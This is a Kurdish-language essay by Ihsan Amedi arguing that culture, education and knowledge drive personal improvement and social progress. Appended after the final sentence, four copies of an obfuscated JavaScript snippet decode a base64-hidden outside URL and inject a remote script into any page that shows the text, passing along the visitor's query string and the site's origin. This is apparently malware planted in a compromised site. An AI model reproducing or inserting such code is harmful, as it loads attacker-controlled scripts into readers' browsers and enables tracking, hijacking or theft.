ژ ره‌وشه‌نبیركرنێ بۆ باشتركرنێ
ئحسان ئامێدی
باشتركرن د هه‌ر تشته‌كى دا، د هزركرنێ و د سه‌ره‌ده‌ریكرنێ و د كاركرنێ و د داهێنانێ و به‌رهه‌مئینانێ دا ژبۆ
ژیانه‌كا باشتر و خوشتر. كو مرۆڤ هه‌یه وه‌رار و گه‌شه‌دان ژی هه‌یه و حه‌زا مرۆڤی بۆ باشتركرنێ یه.
دڤێت مرۆڤ ب خوه د خوه و بهایێ خوه بگه‌هیت و شیانێن خوه بزانیت و باشتر لێكه‌ت و بكاربینیت بۆ پتر وهرا و گه‌شه‌دانێ ب ئارمانجا باشتركرنێ د هه‌می بیاڤێن ژیانێ دا.
باشتركرن ب زانین و تێگه‌هشتنێ و بسپۆریێ و شاره‌زایێ چێدبیت، كو په‌روه‌رده‌كرن و فێركرن و ره‌وشه‌نبیریكرن و پێگه‌هاندن بنگه‌هێن وێ نه.
ره‌وشه‌نبیری كلیلا پێشڤه‌چوونێ یه و هانده‌رێ سه‌ره‌كیێ ئاڤاكرن و پێگه‌هاندنا مرۆڤیه ژبۆ پتر لێزانینێ و لێتێگه‌هشتنێ و خه‌مخۆریێ و ده‌ربازبوونێ ژ ئاسته‌نگان و ڤه‌كرنا گرێیان و چاره‌كرنا كێشه‌یان و ژبۆ كاركرنه‌كا باشتر و به‌رهه‌مئینانه‌كا پتر.
باشتركرن ژ هزركرنێن باش ده‌ست پێ دكه‌ت، ئانكو گه‌شه‌دانا هزریه ژبۆ پێشڤه‌چوونا مۆرالی و مدی و باشتركرنا دیدا مرۆڤی بۆ هه‌می بیاڤێن ژیانێ و چێكرن و وه‌رارپێكرنا ئامیرێن كاری و به‌رهه‌مهێنانێ بۆ خوشگوزه‌رانیا مرۆڤی و جڤاكی.
باشتركرنا هزركرنێ بۆ هندێ ژ قالبێن چێكری و پیرۆزكری ده‌ربازی بیاڤێن ڤه‌كری بی و وه‌رارێ پێ بكه‌ی كو باشتر و ب ساناهیتر ل سه‌رهه‌ل بی و كاری پێبكه‌ی و خزمه‌تا مرۆڤی بكه‌ت.
د سروشتێ خوه‌دا هه‌ر مرۆڤه‌ك خوه ب زانا و تێگه‌هشتی و راستگۆ نیشادده‌ت، لێ د ترازیا جڤاكى دا ب ره‌نگه‌كێ دیتر دیار دبیت، نوكه كو زانست و ته‌كنولوجیا كو به‌رهه‌مێ هزركرنا زانستیه پیڤه‌رێن هه‌ر تشته‌كی داناینه و خێر و شه‌ڕ ده‌ستنیشانكرینه، ب ساناهی مرۆڤ دشێت باشیێ و خرابیێ ژێك جودا بكه‌ت و ده‌ستنیشانا باشتریێ بكه‌ت.
مرۆڤێ هزرمه‌ند و ره‌وشه‌نبیر ب گه‌شبینی به‌رێ خوه دده‌ته ژیانێ و یێ رژده و دلسۆزه و كارێن بنه‌جهـ دكه‌ت.
دڤێت مرۆڤ كارێن خوه ب زانابوون و بنه‌جهـ بكه‌ت و هه‌ر ده‌مێ هه‌ر ئێكی كارێ خوه ب زانابوون و بنه‌جهـ كر، ئه‌ڤه بارودۆخ ب گشتی و د به‌رژه‌وه‌ندیا هه‌میان دا به‌ره‌ڤ باشتریێ ڤه چوو، لێ زانابوون به‌ر هه‌میا نه‌كه‌فتیه و بنه‌جهكرن د كارى دا گرێدا ئاستێ ره‌وشه‌نبیریا و دلسۆزیا مرۆڤییه ئه‌و ژی ل ده‌ف هه‌میان نینه!، نه‌مازه د هه‌لسوكه‌وتێ مرۆڤان دا ده‌ك خوزایێن نه‌رێنی هه‌نه هه‌كه نه‌هێنه په‌روه‌رده‌كرن و فێركرن و ئاراسته‌كرن دێ لایه‌نێن خرابیێ هه‌ر هه‌بن، بۆ نموونه ته‌مبه‌لی، شراتی، خیساتی، نه‌گوهداری، ته‌ماعی، دزی، حیزی، كه‌رب، كین، توره‌یی، توندوتیژی، فراوانخوازی، خۆ سه‌پاندن و دوژمنكاری… و هتد. جوداهیێن هزری و جڤاكی و چینایه‌تی و ژیاری چێدكه‌ن و ئاسته‌نگان چێدكه‌ن و پێكدادانێ دروست دكه‌ن و رێگریێ ل پێشڤه‌چوونێ دگرن.
و مرۆڤ هه‌ر مرۆڤه و به‌رپسیاریه‌كا مه‌زن هه‌یه، هه‌كه ده‌رفه‌تێن ئاڤاكرن و پێگه‌هاندنێن وه‌كهه‌ڤ بۆ هه‌میان هه‌بن دێ هه‌می بنه ئاڤاكه‌رێن باش، لێ د مێژوویا مرۆڤان دا و دپێدڤیا رێكخستنا جڤاكى دا ئه‌ڤه نه‌بوویه!، ئه‌رێ دێ بیت ئه‌ڤه پسیار و حه‌زا مرۆڤیه!؟.
ل ڤی سه‌رده‌می مرۆڤ حه‌ژ گوهۆرینێ دكه‌ت و به‌ره‌ف وێڤه دچیت، هوربینیێ و سڤكیێ و له‌زاتی و جوانیێ رۆمالا هه‌ر تشته‌كی كریه، هه‌ڤركی ل سه‌ر هندێ یه كا دێ كی داهێنانه‌كێ كه‌ت و به‌رهه‌مئینیت و به‌رده‌ستكه‌ت و كی دێ زوتر په‌یداكه‌ت و نیشاده‌ت!. د ڤێ دا ئه‌م ل كیرڤه‌ینه!؟ په‌یداكه‌ر و چاڤلێكه‌ر و بكاربه‌ر و حه‌ژ خوه كه‌ر و مه‌دحوینه!.
لێ پێدڤیه ئه‌م باشتركه‌ربین، ئه‌ڤه ژی ب هزركرنه‌كا باش و ب خوه ره‌وشه‌نبیرری و زانابوونێ و كاركرنێ دهێت.
دبێژن هه‌ر سه‌ره‌ك عه‌قله‌كه، واته هه‌ر سه‌ره‌ك دشێت د جهێ خوه دا خوه و هزروبیرێن خوه باش كه‌ت و به‌ر ب باشتریێ ڤه بچیت. ئه‌ڤه ژ هه‌ر تاكه‌كی دهێته خواستن و حه‌تا ئه‌ڤ هه‌ستكرنه چێدبیت، به‌رپسیاریا یێن مه‌زنتر و سه‌میانایه، كو ژ زارۆكینیێ مرۆڤی ل سه‌ر بنگه‌هه‌كێ زانستیێ ساخله‌م په‌روه‌رده‌كه‌ن و پێبگه‌هینن و ئاراسته‌كا دروست بۆ بكه‌ن.
ره‌وشه‌نبیری هۆكارێ بنه‌كی و ژینداریه بۆ ئاڤاكرن و گه‌شه‌كرنا جڤاكی و ژیاتیێ بۆ گه‌ل و وه‌لاتی و هه‌ستكرنێ ب ئارامیێ و ئاسایشێ و پشتراستیێ و دنیایێ. جڤاك‌كێ ه‌وشه‌نبیر وه‌لاته‌كێ ئارام و سه‌قامگیر و پێشكه‌فتی و پاشه‌رۆژه‌كا گه‌شتر دابین دكه‌ت.
لێ ره‌وشه‌نبیری ژی ب خوه چێنابیت ئه‌گه‌ر بیركرنه‌ك و بزۆینه‌ره‌ك بۆ نه‌بیت، ئه‌ڤه ژی د مرۆڤی بخوه‌دا هه‌یه، ئه‌گه‌ر هانده‌رێن خوه‌یی و جڤاكی ژینگه‌هی بۆ هه‌بن.
مرۆڤێ ره‌وشه‌نبیر ب زانابوون و ب هشیاری و ب دلسۆزی ئه‌رك و كارێن خوه بنه‌جهـ بجهدئینیت و دبیته جهێ رێزێ و بالكێشیا یێن دی و هه‌سته‌كی دده‌ته یێن دی كو ئاستێ وی یێ ره‌وشه‌نبیری فاكته‌رێ شیان و دلسۆزی و ژێهاتیا وی یه و چاڤلێكرنێ بۆ خوه ره‌وشه‌نبیری كرنێ چێدكه‌ت.
مرۆڤ كو دخوینیت یان دچیته خولێن ره‌وشه‌نبیری و راهێنانێ بۆ هندێ یه دا باشتر لێ بزانیت و شاره‌زا ببیت و پێرابوونا وی ب وی ئه‌ركی یان كاری باشتر لێ بهێت.
مرۆڤ گه‌له‌ك تشتان دزانن، لێ دڤێت پترێ بزانن، زاناتر لێ بهێن، ره‌وشه‌نبیرتر لێ بهێن، شاره‌زاتر لێ بهێن، دلسۆزتر لێ بهێن، كاراتر كاركه‌ن هه‌ر تشته‌كێ د بهرۆكا وان دا باشتر ێ كه‌ن و باشتریێ ل سه‌ر باشیێ ئاڤاكه‌ن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
